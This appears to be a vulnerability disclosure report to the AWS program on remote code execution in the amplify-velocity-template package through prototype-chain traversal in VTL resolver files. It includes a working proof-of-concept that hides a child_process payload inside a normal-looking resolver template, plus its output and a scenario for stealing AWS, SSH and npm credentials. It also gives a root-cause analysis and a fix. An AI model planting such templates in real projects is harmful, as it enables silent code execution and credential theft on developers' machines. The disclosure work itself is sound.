AWS VDP · Report #3897236
RCE in AWS Amplify CLI via Prototype Chain Traversal in amplify-velocity-template
How it was found
Summary
amplify-velocity-template (npm, published by Amazon) is a fork of velocityjs used by @aws-amplify/amplify-appsync-simulator to render VTL resolver templates during amplify mock api. The fork never backported any prototype-chain guards from upstream. Property resolution does raw baseRef[id] with zero filtering, so an attacker who controls a .vtl file can reach the Function constructor and execute arbitrary OS commands.
Steps to reproduce
Run these commands on any machine with Node.js installed:
mkdir vtl-rce && cd vtl-rce && npm init -y
npm install [email protected] @aws-amplify/[email protected]
Create a file called poc.js with this content:
const { VelocityTemplate } = require('@aws-amplify/amplify-appsync-simulator');
const fs = require('fs');
// Malicious VTL resolver template -- looks like a normal DynamoDB GetItem mapping
const VTL = [
'## AppSync Request Mapping -- Query.getUser',
'#set($userId = $context.arguments.id)',
'#set($x = {})',
'#set($log = $x.toString().constructor.constructor.call($x,',
' "var cp = process.mainModule.require(\'child_process\');',
' var r = cp.execSync(\'id && hostname && uname -a\').toString();',
' process.mainModule.require(\'fs\').writeFileSync(\'/tmp/amplify-rce-proof\', r);',
' return r"',
').call($x))',
'{',
' "version": "2017-02-28",',
' "operation": "GetItem",',
' "key": { "id": { "S": "$userId" } }',
'}',
].join('\n');
try { fs.unlinkSync('/tmp/amplify-rce-proof'); } catch {}
// This is the same code path as `amplify mock api`:
// AmplifyAppSyncSimulator.init() -> new VelocityTemplate(content)
var vtl = new VelocityTemplate(
{ content: VTL, path: 'resolvers/Query.getUser.req.vtl' },
{ appSyncConfig: { defaultAuthenticationType: { authenticationType: 'API_KEY' } } },
);
// Build a real GraphQL AST node using the simulator's own graphql module
var graphql = require(require.resolve('graphql', {
paths: [require.resolve('@aws-amplify/amplify-appsync-simulator')],
}));
var doc = graphql.parse('{ getUser(id: "user-123") { id name } }');
var fieldNode = doc.definitions[0].selectionSet.selections[0];
// This is the same call as AppSyncUnitResolver.resolve() -> requestTemplate.render()
console.log('[1] Rendering VTL template...');
var result = vtl.render(
{ arguments: { id: 'user-123' }, source: {}, stash: {}, result: null },
{ requestAuthorizationMode: 'API_KEY', headers: {}, sourceIp: '127.0.0.1' },
{ fieldName: 'getUser', fieldNodes: [fieldNode], parentType: 'Query', variableValues: {}, fragments: {} },
);
console.log('[2] Resolver output:', JSON.stringify(result.result));
if (fs.existsSync('/tmp/amplify-rce-proof')) {
console.log('[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:');
console.log(fs.readFileSync('/tmp/amplify-rce-proof', 'utf8'));
fs.unlinkSync('/tmp/amplify-rce-proof');
}
Then run:
node poc.js
You will see output like this:
[1] Rendering VTL template...
[2] Resolver output: {"version":"2017-02-28","operation":"GetItem","key":{"id":{"S":"user-123"}}}
[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:
████████ gid=20(staff) groups=20(staff),12(everyone)...
████████
Darwin ████████ 25.5.0 Darwin Kernel Version 25.5.0 ... arm64
The resolver returned valid DynamoDB JSON. No errors were logged. The id, hostname, and uname -a commands ran silently and wrote their output to /tmp/amplify-rce-proof.
Root cause
amplify-velocity-template/src/compile/references.js resolves object properties with no filtering:
} else if (type === 'property') {
ret = baseRef[id]; // no guard -- resolves constructor, __proto__, etc.
}
Upstream velocityjs added a prototype-chain denylist in version 2.1.6. The AWS fork never backported it. Every inherited property is reachable, so the chain {}.toString().constructor.constructor reaches the Function constructor directly.
Attack scenario
- Attacker puts a malicious
.vtlresolver file in an Amplify project (via PR, fork, or direct push). - Developer clones the repo and runs
amplify mock api. - Any GraphQL query triggers VTL rendering.
- The payload runs
child_process.execSync()with the developer's privileges. - Attacker steals
~/.aws/credentials,~/.ssh/*, or~/.npmrcand exfiltrates them.
The malicious VTL looks like a normal AppSync resolver. The payload hides in a #set variable assignment. The resolver still returns valid JSON, so the developer sees no errors.
Affected packages
amplify-velocity-template1.4.17 (latest) -- published by amzn-oss -- 60K downloads/week@aws-amplify/amplify-appsync-simulator2.16.20 (latest) -- 35K downloads/week@aws-amplify/cli(latest) -- 317K downloads/week
Source: https://github.com/aws-amplify/amplify-cli/tree/main/packages/amplify-velocity-template
Recommended fix
Backport prototype-guard.ts from upstream velocityjs 2.1.6 into amplify-velocity-template, or replace property resolution with an allowlist in references.js (getAttributes, getPropMethod, getPropIndex). Only resolve properties where Object.prototype.hasOwnProperty.call(baseRef, key) is true, or where key is on an explicit allowlist of safe built-in methods.
Impact
- AWS credential theft: developers using Amplify always have AWS credentials configured (
~/.aws/credentialsor environment variables). Stolen credentials give the attacker access to the victim's AWS account. - SSH key theft:
~/.ssh/id_rsagives access to the victim's GitHub/GitLab repositories and any SSH-accessible infrastructure. - npm token theft:
~/.npmrctokens allow publishing malicious packages under the victim's npm account (supply chain escalation). - Persistent backdoor:
fs.writeFileSynccan drop a reverse shell, cron job, or modified shell profile. - CI/CD compromise: if
amplify mock apiruns in CI (e.g., for integration tests), the attacker gets CI credentials and can pivot to production.